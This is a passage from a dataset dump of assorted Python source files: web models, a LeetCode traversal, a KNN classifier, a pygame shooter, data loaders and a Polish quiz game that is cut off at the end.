db.Column(\r\n db.String(30)\r\n )\r\n dealerid = db.Column(\r\n db.String(30)\r\n )\r\n storenums = db.Column(\r\n db.Integer\r\n )\r\n productnum = db.Column(\r\n db.Integer\r\n )","sub_path":"app_01/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"198052855","text":"# 给定一个二叉树，返回它的中序 遍历。\n#\n# 示例:\n#\n# 输入: [1,null,2,3]\n# 1\n# \\\n# 2\n# /\n# 3\n#\n# 输出: [1,3,2]\n#\n# 进阶: 递归算法很简单，你可以通过迭代算法完成吗？\n# Related Topics 栈 树 哈希表\n# 👍 585 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n#中序遍历 左根右\n # 对树的操作就是明白迭代 和 递归 终止条件\n #超哥代码模板：\n #递归\ndef inorderTraversal( root: TreeNode) :\n# leetcode submit region end(Prohibit modification and deletion)\n res = []\n def travel(root):\n if not root:\n return\n travel(root.left)\n res.append(root.val)\n travel(root.right)\n travel(root)\n return res\n\n#迭代 使用栈\n\ndef inorderTravelsal_loop(root):\n res = []\n stack = []\n #p regard as pointer\n p = root\n while p or stack :\n #左子树入栈\n while p:\n stack.append(p)\n p = p.left\n #输出栈顶\n p = stack.pop()\n res.append(p.val)\n #开始右子树\n p = p.right\n return res\n\nif __name__ == '__main__':\n res = inorderTraversal(TreeNode([3,9,20,None,None,15,7]))\n print(res)","sub_path":"Week_02/课后作业/94 二叉树的中序遍历.py","file_name":"94 二叉树的中序遍历.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388057176","text":"word = input(\"Enter word: \")\nn = int(input(\"Enter n: \"))\n\ncount = 1\nwords = []\n\nwhile count <= n:\n w = input(\"Word {}: \".format(str(count)))\n words += [w]\n count += 1\n\n# print(words)\n\nword_count = 0\n\nfor i in words:\n if i == word: \n word_count += 1\n\n\n\nprint(\"{} if found {} times\".format(word, word_count))","sub_path":"week2/2-List-Problems/words_count.py","file_name":"words_count.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"326646345","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom django.core import serializers\nimport json\n\n\ndef get_specified_data(obj, specified_fields):\n \"\"\"\n\n :param obj:\n :param specified_fields:\n :return:\n \"\"\"\n serialized_data = serializers.serialize(\"json\", [obj])\n obj_data = json.loads(serialized_data)[0]\n filtered_data ={}\n for column in specified_fields:\n filtered_data[column] = obj_data[\"fields\"][column]\n\n return filtered_data\n\n\ndef fetch_changed_data(old_data, fields):\n \"\"\"\n\n :param old_data:\n :param fields:\n :return:\n \"\"\"\n old_data = json.loads(old_data)\n changed_data_list = []\n for obj_data in old_data:\n changed_data = {}\n for column in fields:\n changed_data[column] = old_data[\"field\"][column]\n changed_data_list.append(changed_data)\n return changed_data_list\n\n\n","sub_path":"kingadmin/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"531511741","text":"import matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.impute import SimpleImputer\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import NearestNeighbors\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom data_prepare import *\r\n\r\ndata_user_reviews_new = data_user_reviews\r\ndata_apps_new = data_apps\r\n\r\n#chenges on data\r\n\r\ndata_apps_new['Size']=change_coll_only_num(data_apps_new['Size'])\r\n\r\n\r\ndata_apps_download_new = clean_install_coll(data_apps_new['Installs'])\r\ndata_apps_new[\"Installs\"] = data_apps_download_new\r\n\r\n\r\ndata_apps_new['App'] = change_app_coll_nan(data_apps_new['App'])\r\n\r\n\r\ndata_apps_new['Rating'] = change_rating_coll_nan(data_apps_new['Rating'])\r\n\r\n\r\ndata_apps_new['Price'] = data_apps_new[\"Price\"].str.replace('$','').astype(float)\r\n\r\n\r\ndata_user_reviews_new['Sentiment_Subjectivity'] = clean_nan_from_sentiment_subj(data_user_reviews_new['Sentiment_Subjectivity'])\r\n\r\n\r\ndata_user_reviews_new['Sentiment_Polarity'] = clean_nan_from_sentiment_pol(data_user_reviews_new['Sentiment_Polarity'])\r\n\r\n\r\ndata_user_reviews_new['Sentiment'] = insert_most_frequent_to_nan_sentiment(data_user_reviews_new['Sentiment'])\r\n\r\n#changes for knn\r\n\r\nptc = pd.Series(data_user_reviews_new['Sentiment'])\r\nptc[ptc == 'Positive'] = 1\r\ndata_user_reviews_new['Sentiment'] = ptc\r\n\r\nptc = pd.Series(data_user_reviews_new['Sentiment'])\r\nptc[ptc == 'Negative'] = -1\r\ndata_user_reviews_new['Sentiment'] = ptc\r\n\r\nptc = pd.Series(data_user_reviews_new['Sentiment'])\r\nptc[ptc == 'Neutral'] = 0\r\ndata_user_reviews_new['Sentiment'] = ptc\r\n\r\n\r\ndata_apps_ml = data_apps_new[['App','Category','Rating','Size','Type','Price','Genres']].drop_duplicates()\r\ndata_user_reviews_new_ml = data_user_reviews_new[['App','Sentiment', 'Sentiment_Polarity','Sentiment_Subjectivity']]\r\ndata = pd.merge(data_apps_ml,data_user_reviews_new_ml,on='App')\r\n\r\napps_num_dict = {}\r\napps_name_no_dupli = set(data['App'])\r\nnum = 1\r\nfor i in apps_name_no_dupli:\r\n if i not in apps_num_dict.keys():\r\n apps_num_dict[i] = int(num)\r\n num += 1\r\ndef find_app_value(x,dict):\r\n return dict[x]\r\n\r\ndata['App'] = data[\"App\"].apply(lambda x: find_app_value(str(x),apps_num_dict))\r\nX = data[['App','Category','Rating','Size','Type','Price','Genres','Sentiment_Polarity','Sentiment_Subjectivity']].copy()\r\nY = data['Sentiment'].copy().astype(int)\r\n\r\nx_ohv = pd.get_dummies(X)\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(x_ohv, Y, test_size=0.2)\r\nSc_X = StandardScaler()\r\nX_train = Sc_X.fit_transform(X_train)\r\nX_test = Sc_X.fit_transform(X_test)\r\n\r\nk_range = range(1, 21)\r\naccuracy = []\r\nbest_accuracy = 0\r\nbest_k = 0\r\nfor k in k_range:\r\n classifier = KNeighborsClassifier(n_neighbors= k , p = 3, metric='euclidean')\r\n classifier.fit(X_train,y_train)\r\n y_predict = classifier.predict(X_test)\r\n acureccy_k = accuracy_score(y_test, y_predict)\r\n accuracy.append(acureccy_k)\r\n if acureccy_k > best_accuracy:\r\n best_accuracy = acureccy_k\r\n best_k = k\r\n\r\nprint((\"Best K: {0}, Best Accuracy: {1}\".format(best_k, best_accuracy)))\r\n\r\nplt.plot(k_range, accuracy)\r\nplt.xlabel('Value of K for KNN')\r\nplt.ylabel('Testing Accuracy')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"knn_clasifier.py","file_name":"knn_clasifier.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"85551864","text":"# 时间复杂度： O（S），其中S为所有可行解的长度之和， 比较松的上界为指数级别的O（n * 2^n），实际并不会达到。\n# 空间复杂度：O（target），除答案数组外，空间负责度取决于递归栈的深度， 在最差情况下需要递归 O（target）层（比如candidates中有1）\n# Let N be the number of candidates, T be the target value, and M be the minimal value among the candidates.\n# Time Complexity: O(N ^ (T/M + 1))\n# Space Complexity: O(T/M)\n\nclass Solution:\n def combinationSum(self, candidates, target):\n ans = []\n candidates.sort()\n self.dfs(candidates, 0, target, [], ans)\n return ans\n \n def dfs(self, candidates, startIndex, target, path, ans):\n if target == 0:\n ans.append(path)\n return\n \n for i in range(startIndex, len(candidates)):\n # i 只有在 cadidates[i]不能继续重复使用的情况下，进入下一个loop（即i+=1）\n if target < candidates[i]:\n return\n # 只要还有重复使用的可能，就call下一层，i不变，target减一次，path里加上。\n self.dfs(candidates, i, target - candidates[i], path +[candidates[i]], ans)\n ","sub_path":"LC39_combination_sum.py","file_name":"LC39_combination_sum.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"250245023","text":"import numpy as np\r\nimport copy\r\nfrom objects import environ\r\nfrom neural_net import dense_net, relu, sigmoid, tanh\r\nfrom Neat import Neat\r\nimport pickle\r\nfrom multiprocessing import Pool, TimeoutError, cpu_count\r\nimport os\r\nimport time\r\nimport math\r\n\r\n\r\ndef f(env):\r\n return env.eval_dmg(1200)\r\n\r\n\r\nclass Timer():\r\n # This object tracks the timing\r\n def __init__(self):\r\n self.reset()\r\n\r\n def reset(self):\r\n self.start_time = time.time()\r\n\r\n def elapsed(self, l_time):\r\n output = \"\"\r\n if l_time >= 3600:\r\n hours = int(math.floor(l_time / (60 * 60)))\r\n l_time -= hours * 60 * 60\r\n output += \"{} hr \".format(hours)\r\n if l_time >= 60:\r\n minutes = int(math.floor(l_time / (60)))\r\n l_time -= minutes * 60\r\n output += \"{} min \".format(minutes)\r\n return output + \"{0:.2f} sec \".format(l_time)\r\n\r\n def elapsed_time(self, text=\"Time Elapsed\"):\r\n print(text + \": {}\".format(self.elapsed(time.time() - self.start_time)))\r\n\r\nclass Logger():\r\n pass\r\nclass population():\r\n def __init__(self, sensors, pop_size=100, multithread=False, procs=cpu_count()):\r\n # initialise the population of agents\r\n self.agents = []\r\n input_len = 0\r\n if \"point\" in sensors:\r\n input_len += len(sensors[\"point\"])\r\n if \"prox\" in sensors:\r\n input_len += 2 * sensors[\"prox\"]\r\n if \"loc\" in sensors:\r\n input_len += 2\r\n if \"line\" in sensors:\r\n input_len += sensors[\"line\"]\r\n for i in range(pop_size):\r\n self.agents.append(environ((sensors, dense_net(input_len, 64, relu, recursive=True, rec_size=16)),\r\n bullet_types={\"aimed\": 15, \"spiral\": 1, \"random\": 1}))\r\n # Neat(25, 2, tanh)\r\n self.agents[-1].controller.add_layer(64, relu)\r\n self.agents[-1].controller.add_layer(32, relu)\r\n\r\n self.agents[-1].controller.add_layer(16, relu)\r\n self.agents[-1].controller.add_layer(2, tanh, final=True)\r\n\r\n self.pop_size = pop_size\r\n self.gen = 1\r\n self.training_timer = Timer()\r\n # associate a pool of workers with the population\r\n print(\"Training with {} processes\".format(procs))\r\n self.pool = Pool(processes=procs)\r\n\r\n def find_fitness(self):\r\n self.training_timer.reset()\r\n\r\n # wrapper for function in order to make use of multiprocessing\r\n\r\n # evaluate fitness of each agent\r\n self.fitness = self.pool.map(f, self.agents)\r\n\r\n # assign the fitness value to each agent\r\n for i in range(self.pop_size):\r\n self.agents[i].fitness = self.fitness[i]\r\n\r\n # print time taken to evaluate fitness\r\n self.training_timer.elapsed_time(\"Fitness Evaluation Time\")\r\n\r\n def select(self):\r\n list.sort(self.agents, key=lambda x: x.fitness)\r\n print(\"Lowest fitness: {}\".format(self.agents[0].fitness))\r\n print(\"Highest fitness: {}\".format(self.agents[-1].fitness))\r\n print(\"Top 10 agents fitness: {}\".format([agent.fitness for agent in self.agents][-10:]))\r\n print(\"Average fitness: {}\".format(np.mean([agent.fitness for agent in self.agents])))\r\n print(\"Variance of fitness: {}\".format(np.var([agent.fitness for agent in self.agents])))\r\n new_agents = []\r\n print(self.pop_size * (99 / 100))\r\n for i in range(int(self.pop_size * (90 / 100)), self.pop_size):\r\n if (i + 1) / self.pop_size > np.random.uniform(0, 1.0):\r\n new_agents.append(self.agents[i])\r\n self.agents = new_agents\r\n\r\n def breed(self, rate):\r\n i = 0\r\n self.agents = self.agents[::-1]\r\n while len(self.agents) < self.pop_size:\r\n self.agents.append(copy.deepcopy(self.agents[i]))\r\n self.agents[-1].controller.mutate(rate[0])\r\n self.agents[-1].fighter.mutate_sensors(rate[1])\r\n i += 1\r\n\r\n self.training_timer.elapsed_time(\"Total Generation Time\")\r\n\r\n def save_generation(self, filename, destination):\r\n filepath = os.join(destination, filename)\r\n print(\"Saving generation {} to {}\".format(self.gen, filepath))\r\n pickle.dump(pop.agents, open(\"generation{}.p\".format(i), \"wb\"))\r\n print(\"Saving generation {}\".format(self.gen))\r\n\r\n def load_generation(self, filename):\r\n if i % 5 == 0:\r\n print(\"saving gen {}\".format(i))\r\n pickle.dump(pop.agents, open(\"generation{}.p\".format(i), \"wb\"))\r\n print(\"saved gen {}\".format(i))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n save_path = \"saved_nets\"\r\n sensor_pos = {\"point\": [\r\n (0, -10, 1), (10, -10, 1), (-10, -10, 1), (-10, 0, 1), (10, 0, 1),\r\n (0, -20, 1), (20, -20, 1), (-20, -20, 1), (-20, 0, 1), (20, 0, 1),\r\n (0, -30, 1), (30, -30, 1), (-30, -30, 1), (-30, 0, 1), (30, 0, 1),\r\n (10, -20, 1), (-10, -20, 1),\r\n (0, 15, 1), (10, -30, 1), (-10, -30, 1), (0, -3, 1), (3, 0, 1), (-3, 0, 1)],\r\n \"prox\": 3, \"loc\": True, \"line\": 16}\r\n\r\n # sensor_pos = {\"loc\":True, \"line\": 16}\r\n pop = population(sensor_pos, 1000)\r\n\r\n starting_gen = input(\"Start from which existing generation? (return empty if no such generation exists):\")\r\n if starting_gen == \"\":\r\n starting_gen = -1\r\n else:\r\n try:\r\n starting_gen = int(starting_gen)\r\n except:\r\n print(\"Error -- input not an integer\")\r\n\r\n if starting_gen > -1:\r\n file_name = os.path.join(save_path, \"generation{}.p\".format(starting_gen))\r\n trained_nets = pickle.load(open(file_name, \"rb\"))\r\n for i in range(len(pop.agents)):\r\n pop.agents[i].controller=trained_nets[\"nets\"][i]\r\n\r\n\r\n rate = [0.25, 0.2]\r\n\r\n display = input(\"Display best in generation? (return empty if no)\")\r\n display = display != \"\"\r\n if display:\r\n from display import gui\r\n\r\n GUI = gui()\r\n\r\n for i in range(starting_gen + 1, 10000):\r\n print(\"Evaluating fitness...\")\r\n pop.find_fitness()\r\n print(\"Selecting fittest\")\r\n pop.select()\r\n print(\"Surviving agents: {}\".format(len(pop.agents)))\r\n pop.breed([rate[0] / ((1 + i)), rate[1] / ((1 + i))])\r\n if i % 5 == 0:\r\n print(\"saving gen {}\".format(i))\r\n\r\n file_name = os.path.join(save_path, \"generation{}.p\".format(i))\r\n\r\n pickle.dump(pop.agents, open(file_name, \"wb\"))\r\n print(\"saved gen {}\".format(i))\r\n if i % 5 == 0 and display:\r\n GUI.display_imported_generation(file_name, 3)\r\n # if i % 25 == 0 and i != 0:\r\n # rate = [i / 2 for i in rate]\r\n # print(\"Decaying learning rate to: {}\".format(rate))\r\n","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":6778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"433481493","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport pandas as pd\nfrom sqlalchemy import create_engine\nimport psycopg2\nimport sys, getopt\n\n\ndef loadSirenDataFromCSV(filename = \"../data/siren_93.csv\"):\n print(\"Read Siren data\")\n df = pd.read_csv(filename, sep=';', encoding='latin-1')\n newDf = df.loc[:,[\"siren\", \"nic\", \"l1_normalisee\", \"l1_declaree\", \"numvoie\", \"indrep\", \"typvoie\", \"libvoie\", \"codpos\", \"libnatetab\", \"libapet\"]]\n newDf[\"numvoie\"] = pd.to_numeric(newDf[\"numvoie\"], errors='coerce')\n return newDf\n\ndef saveSirenDataIntoDatabase(newDf):\n print(\"Save Siren data into database\")\n engine = create_engine('postgresql:///bigdata')\n newDf.to_sql(\"SIREN\", engine, if_exists='replace')\n\ndef loadBanoDataFromCSV(filename = \"../data/bano_93.csv\"):\n print(\"Read Bano data\")\n df = pd.read_csv(filename, sep=';', encoding='latin-1')\n newDf = df.iloc[:,[1, 2, 3, 4, 6, 7]]\n newDf.columns = ['numero', 'voie', 'code_post', 'nom_comm', 'lat', 'lon']\n newDf[\"numero\"] = pd.to_numeric(newDf[\"numero\"], errors='coerce')\n return newDf\n\ndef saveBanoDataIntoDatabase(newDf):\n print(\"Save Bano data into database\")\n engine = create_engine('postgresql:///bigdata')\n newDf.to_sql(\"BANO\", engine, if_exists='replace')\n\n\n\ndef main(argv):\n tableName = ''\n try:\n opts, args = getopt.getopt(argv,\"ht:\",[\"tableName=\"])\n except getopt.GetoptError:\n print('dataToDatabase.py -t ')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print('dataToDatabase.py -t ')\n sys.exit()\n elif opt in (\"-t\", \"--tableName\"):\n tableName = arg\n\n print(\"Script starting\")\n if tableName == 'SIREN' or tableName == '':\n data = loadSirenDataFromCSV()\n saveSirenDataIntoDatabase(data)\n\n if tableName == 'BANO' or tableName == '':\n data = loadBanoDataFromCSV()\n saveBanoDataIntoDatabase(data)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"code/dataToDatabase.py","file_name":"dataToDatabase.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"408706643","text":"import numpy as np\n\nfrom xiangYa.utils.func4process import classifyWords, scoreSenti\n\n\nclass CalcSenti:\n def __init__(self, title_dict, content_dicts):\n self.title_dict = title_dict\n self.content_dicts = content_dicts\n self.score_list = []\n self.sentiScore = 0\n\n def title_senti_weight(self, senWordDict):\n senTitleDict = dict()\n for key in senWordDict.keys():\n value = float(senWordDict[key]) * 3\n senTitleDict[key] = value\n return senTitleDict\n\n def calc_sentiScore(self):\n for content_wordDict in self.content_dicts:\n senWordDict, notWordDict, degreeWordDict = classifyWords(content_wordDict)\n score = scoreSenti(senWordDict, notWordDict, degreeWordDict)\n self.score_list.append(score)\n\n senWordDict, notWordDict, degreeWordDict = classifyWords(self.title_dict)\n senTitleDict = self.title_senti_weight(senWordDict)\n score = scoreSenti(senTitleDict, notWordDict, degreeWordDict)\n self.score_list.append(score)\n self.sentiScore = np.array(self.score_list).mean()\n return self.sentiScore","sub_path":"xiangYa/calc_sentiment.py","file_name":"calc_sentiment.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"532686860","text":"from flask_login import current_user\nfrom sqlalchemy import MetaData, Table, or_\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom aat_main import db\nfrom aat_main.models.module_model import Module\nfrom aat_main.models.satisfaction_review_models import QuestionReview\n\n\nclass Question(db.Model):\n __tablename__ = 'question'\n __table__ = Table(__tablename__, MetaData(bind=db.engine), autoload=True)\n\n \"\"\"\n id: int, auto_increment, primary\n name: varchar(128)\n description: varchar(256)\n module_code: varchar, foreign key\n type: int, formative-multiple choice:0; formative-fill in blank:1; summative:2\n feedback: text\n option: varchar(128)\n answer: varchar(128)\n release_time: datetime\n \"\"\"\n\n @staticmethod\n def get_all():\n return db.session.query(Question).all()\n\n def get_question_by_id(id):\n return db.session.query(Question).get(id)\n\n @staticmethod\n def get_question_management_by_id(id):\n return db.session.query(Question).filter(Question.id == id).first()\n\n @staticmethod\n def get_question_by_module(module):\n return db.session.query(Question).filter(Question.module_code == module).all()\n\n @staticmethod\n def get_question_by_all_module():\n modules = current_user.get_enrolled_modules()\n conditions = [Question.module_code == mc.code for mc in modules]\n return db.session.query(Question).filter(or_(*conditions)).all()\n\n @staticmethod\n def create_question(name, description, module_code):\n db.session.add(Question(name=name, description=description, module_code=module_code))\n db.session.commit()\n\n @staticmethod\n def create_question_management(module_code, name, type, description, option, answer, feedback, time):\n db.session.add(\n Question(module_code=module_code, name=name, type=type, description=description,\n option=option, answer=answer, feedback=feedback, release_time=time))\n db.session.commit()\n\n def update_question_management(self, module_code, name, type, description, option, answer, feedback, time,\n question_id):\n try:\n question = self.get_question_management_by_id(question_id)\n question.module_code = module_code\n question.name = name\n question.type = type\n question.description = description\n question.option = option\n question.answer = answer\n question.feedback = feedback\n question.release_time = time\n db.session.commit()\n except SQLAlchemyError:\n raise SQLAlchemyError\n\n @staticmethod\n def delete_question_by_id(id):\n db.session.query(Question).filter_by(id=id).delete()\n db.session.commit()\n\n def get_module(self):\n return db.session.query(\n Module\n ).filter_by(\n code=self.module_code\n ).first()\n\n def get_reviews(self):\n return db.session.query(\n QuestionReview\n ).filter_by(\n question_id=self.id\n ).all()\n","sub_path":"aat_main/models/question_models.py","file_name":"question_models.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"363953915","text":"'''\n@Descripttion: main\n@version: 1.0\n@Author: 土豆\n@Date: 2019-08-29 09:10:40\n@LastEditors: 土豆\n@LastEditTime: 2019-08-31 21:04:43\n'''\n\nimport pygame\nimport random\nimport background\nimport hero\nimport enemyPlane\nimport bullet\nSTART_GAME = 1 #开始游戏\nEND_GAME = 2 #退出\n\nEVENT_CREATE_ENEMY = pygame.USEREVENT #创造敌机事件\nEVENT_CREATE_BULLET = pygame.USEREVENT + 1 #创造子弹事件\n\nscreen = pygame.display.set_mode((512, 600))\n\nclass GameMain():\n \n def __init__(self):\n #两个游戏背景图片\n self.bg1 = background.Background(\"./image/Background.jpg\")\n self.bg2 = background.Background(\"./image/Background.jpg\")\n self.bg2.rect.y = -self.bg2.rect.bottom\n self.bgGroup = pygame.sprite.Group(self.bg1, self.bg2)\n\n self.clock = pygame.time.Clock()\n\n ##英雄\n self.hero = hero.Heao()\n self.heroGroup = pygame.sprite.Group(self.hero)\n\n #敌机\n self.enemyGroup = pygame.sprite.Group()\n pygame.time.set_timer(EVENT_CREATE_ENEMY, 500)\n\n #子弹\n self.bulletGroup = pygame.sprite.Group()\n pygame.time.set_timer(EVENT_CREATE_BULLET, 500)\n\n #分数\n self.score = 0\n\n ##开始游戏\n def startGame(self):\n while True:\n self.clock.tick(1000)\n self.__drawAll()\n self.__event()\n if self.__collider():\n break\n \n\n ##创造敌机\n def __createEnemy(self):\n enemyType = random.randint(1, 3)\n enemy = enemyPlane.Enemy(enemyType)\n self.enemyGroup.add(enemy)\n \n ##创造子弹\n def __createBullet(self, isSuper = False):\n img = \"./image/Bullet.png\"\n if isSuper:\n img = \"./image/SuperBullet.png\"\n for i in [1, 2]:\n b = bullet.Bullet(img, 1)\n b.rect.x = self.hero.rect.centerx\n b.rect.y = self.hero.rect.y - 30 * i\n self.bulletGroup.add(b)\n else:\n for i in [1, 2, 3, 4, 5]:\n b = bullet.Bullet(img, 3)\n b.rect.x = self.hero.rect.centerx\n b.rect.y = self.hero.rect.y - 30 * i\n self.bulletGroup.add(b)\n\n\n ##碰撞检测\n def __collider(self):\n #子弹与敌机的碰撞检测\n #返回字典，子弹为键，敌机为值\n tt = pygame.sprite.groupcollide(self.bulletGroup, self.enemyGroup, True, False)\n if len(tt) > 0:\n for (key, value) in tt.items():\n value[0].blood -= key.atk\n if value[0].blood <= 0:\n x = value[0].rect.x\n y = value[0].rect.y\n type = value[0].type\n self.enemyGroup.remove(value[0])\n self.__drawBoom(type, x, y)\n self.score += value[0].type\n pygame.mixer.init()\n sound = pygame.mixer.Sound(\"./audio/meteorit_explode.wav\")\n sound.play()\n \n #敌机与英雄的碰撞检测 \n flag = pygame.sprite.spritecollide(self.hero, self.enemyGroup, True)\n if len(flag) > 0:\n self.__gameOver()\n return 1\n ##绘制爆炸效果\n def __drawBoom(self, type, x, y):\n for i in [1, 2, 3, 4, 5, 6, 7, 8, 9]:\n image = \"./image/blow\" + str(type) +\"_\" + str(i) + \".png\"\n blow = pygame.image.load(image)\n screen.blit(blow, (x, y))\n pygame.display.update()\n ##游戏结束\n def __gameOver(self):\n startButton = pygame.image.load(\"./image/startButton.png\")\n exitButton = pygame.image.load(\"./image/exitButton.png\")\n screen.blit(startButton, (130, 300))\n screen.blit(exitButton, (130, 350))\n pygame.display.update()\n \n ##绘制图像\n def __drawAll(self):\n #背景\n self.bgGroup.update()\n self.bgGroup.draw(screen)\n\n #我方英雄\n self.heroGroup.update()\n self.heroGroup.draw(screen)\n \n #敌机\n self.enemyGroup.update()\n self.enemyGroup.draw(screen)\n\n #子弹\n self.bulletGroup.update()\n self.bulletGroup.draw(screen)\n\n #分数\n text = \"score:\" + str(self.score)\n myFont = pygame.font.SysFont(\"arial\", 30)\n t = myFont.render(text, True, (0, 0, 0))\n screen.blit(t,(10, 10))\n\n pygame.display.update()\n\n \n\n #事件监听\n def __event(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit()\n elif event.type == EVENT_CREATE_ENEMY:\n self.__createEnemy()\n elif event.type == pygame.KEYDOWN:\n #按空格触发超级子弹\n if event.key == pygame.K_SPACE:\n self.__createBullet(True)\n elif event.type == EVENT_CREATE_BULLET:\n self.__createBullet()\n \n\n\n\n#游戏初始化\ndef gameInit():\n pygame.init()\n pygame.display.set_caption(\"飞机大战\")\n\n pygame.mixer.init()\n pygame.mixer.music.load(\"./audio/bgm_zhuxuanlv.mp3\")\n # -1表示背景音乐循环播放\n pygame.mixer.music.play(-1) \n #初始化背景图片\n startBackground = pygame.image.load(\"./image/BgLogo.jpg\")\n logo = pygame.image.load(\"./image/LOGO.png\")\n startButton = pygame.image.load(\"./image/startButton.png\")\n exitButton = pygame.image.load(\"./image/exitButton.png\")\n screen.blit(startBackground, (0, 0))\n screen.blit(logo, (-30, 40))\n screen.blit(startButton, (130, 300))\n screen.blit(exitButton, (130, 350))\n pygame.display.update()\n\n##初始化中的事件监听\ndef initEvent():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n x,y = pygame.mouse.get_pos()\n if (x >= 130 and x <= 130+266) and (y >= 300 and y <= 300+39):\n return START_GAME\n elif (x >= 130 and x <= 130+266) and (y >= 350 and y <= 350+39):\n return END_GAME\n \n\nif __name__ == '__main__':\n gameInit()\n while True:\n event = initEvent()\n ##点击startGame开始游戏\n if event == START_GAME:\n break\n ##点击exit退出游戏\n elif event == END_GAME:\n pygame.quit()\n exit(0)\n gm = GameMain()\n gm.startGame()\n \n while True:\n pygame.mouse.set_visible(True)\n event = initEvent()\n ##点击startGame开始游戏\n if event == START_GAME:\n game = GameMain()\n game.startGame()\n ##点击exit退出游戏\n elif event == END_GAME:\n pygame.quit()\n exit(0)\n \n\n\n\n","sub_path":"planeGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"183616593","text":"# Myljonerzy666\n########## MODUŁY ############\nimport random\nimport time\nimport os\n#### LOSOWE PYTANIA ##########\nlicznik_dobrych_odpowiedzi = 0\n\n\nlista_easy = [[\"Czym Chińczycy tradycyjnie jadają potrawy z ryżu?\",\n\"A - łyżkami\",\n\"B - wykałaczkami\",\n\"C - widelcami\",\n\"D - pałeczkami\",\n\"D\"],\n[\"Ile miesięcy liczy kwartał?\",\n\"A - 2\",\n\"B - 3\",\n\"C - 4\",\n\"D - 5\",\n\"B\"],\n[\"11 listopada to rocznica:\",\n\"A - odzyskania niepodległości\",\n\"B - wybuchu I wojny światowej\",\n\"C - uchwalenia konstytucji\",\n\"D - powstania listopadowego\",\n\"A\"],\n[\"Woda to tlenek:\",\n\"A - węgla\",\n\"B - srebra\",\n\"C - żelaza\",\n\"D - wodoru\",\n\"D\"],\n[\"Międzynarodowa organizacja policyjna ścigająca przestępstwa kryminalne to:\",\n\"A - Mosad\",\n\"B - Czeka\",\n\"C - Interpol\",\n\"D - Secret Service\",\n\"C\"],\n[\"Które z określeń nie oznacza wysłannika?\",\n\"A - Werona\",\n\"B - Wenecja\",\n\"C - Florencja\",\n\"D - Palermo\",\n\"D\"],\n[\"Jakie włoskie miasto było tłem burzliwego i tragicznego w skutkach romansu Romea i Julii?\",\n\"A - Werona\",\n\"B - Wenecja\",\n\"C - Florencja\",\n\"D - Palermo\",\n\"A\"],\n[\"Kto wypowiedział słynne słowa: \\\"to mały krok dla człowieka, ale wielki skok dla ludzkości\\\"?\",\n\"A - kosmonauta na księżycu\",\n\"B - laureat nagrody nobla\",\n\"C - genetyk, który sklonował owcę\",\n\"D - konstruktor pierwszego komputera\",\n\"A\"]]\n\n\nlista_medium = [[\"Kto wypowiedział słowa: \\\"Ja nie z soli ani z roli, ale z tego, co mnie boli\\\"?\",\n\"A - Jan III Sobieski\",\n\"B - Bartosz Głowacki\",\n\"C - Stefan Czarniecki\",\n\"D - Józef Piłsudzki\",\n\"C\"],\n[\"Pytanie za 32 000 zł: Wafel pieczony z delikatnego ciasta w specjalnych foremkach to:\",\n\"A - bajgiel\",\n\"B - andrut\",\n\"C - bakława\",\n\"D - beza\",\n\"B\"]]\n\nlista_hard = [[\"Wysoka czapka futrzana noszona wWielkiej Brytanii przez reprezentacyjne oddziały gwardii to:\",\n\"A - kołpak\",\n\"B - tiara\",\n\"C - papacha\",\n\"D - bermyca\",\n\"D\"],\n[\"Gdzie produkowany jest od 1835 roku włoski wermut Cinzano (rodzaj wina)?\",\n\"A - w Turynie\",\n\"B - w Wenecji\",\n\"C - w Mediolanie\",\n\"D - we Florencji\",\n\"A\"],\n[\"Który z podanych instrumentów nie należy do grupy aerofonów?\",\n\"A - obój\",\n\"B - 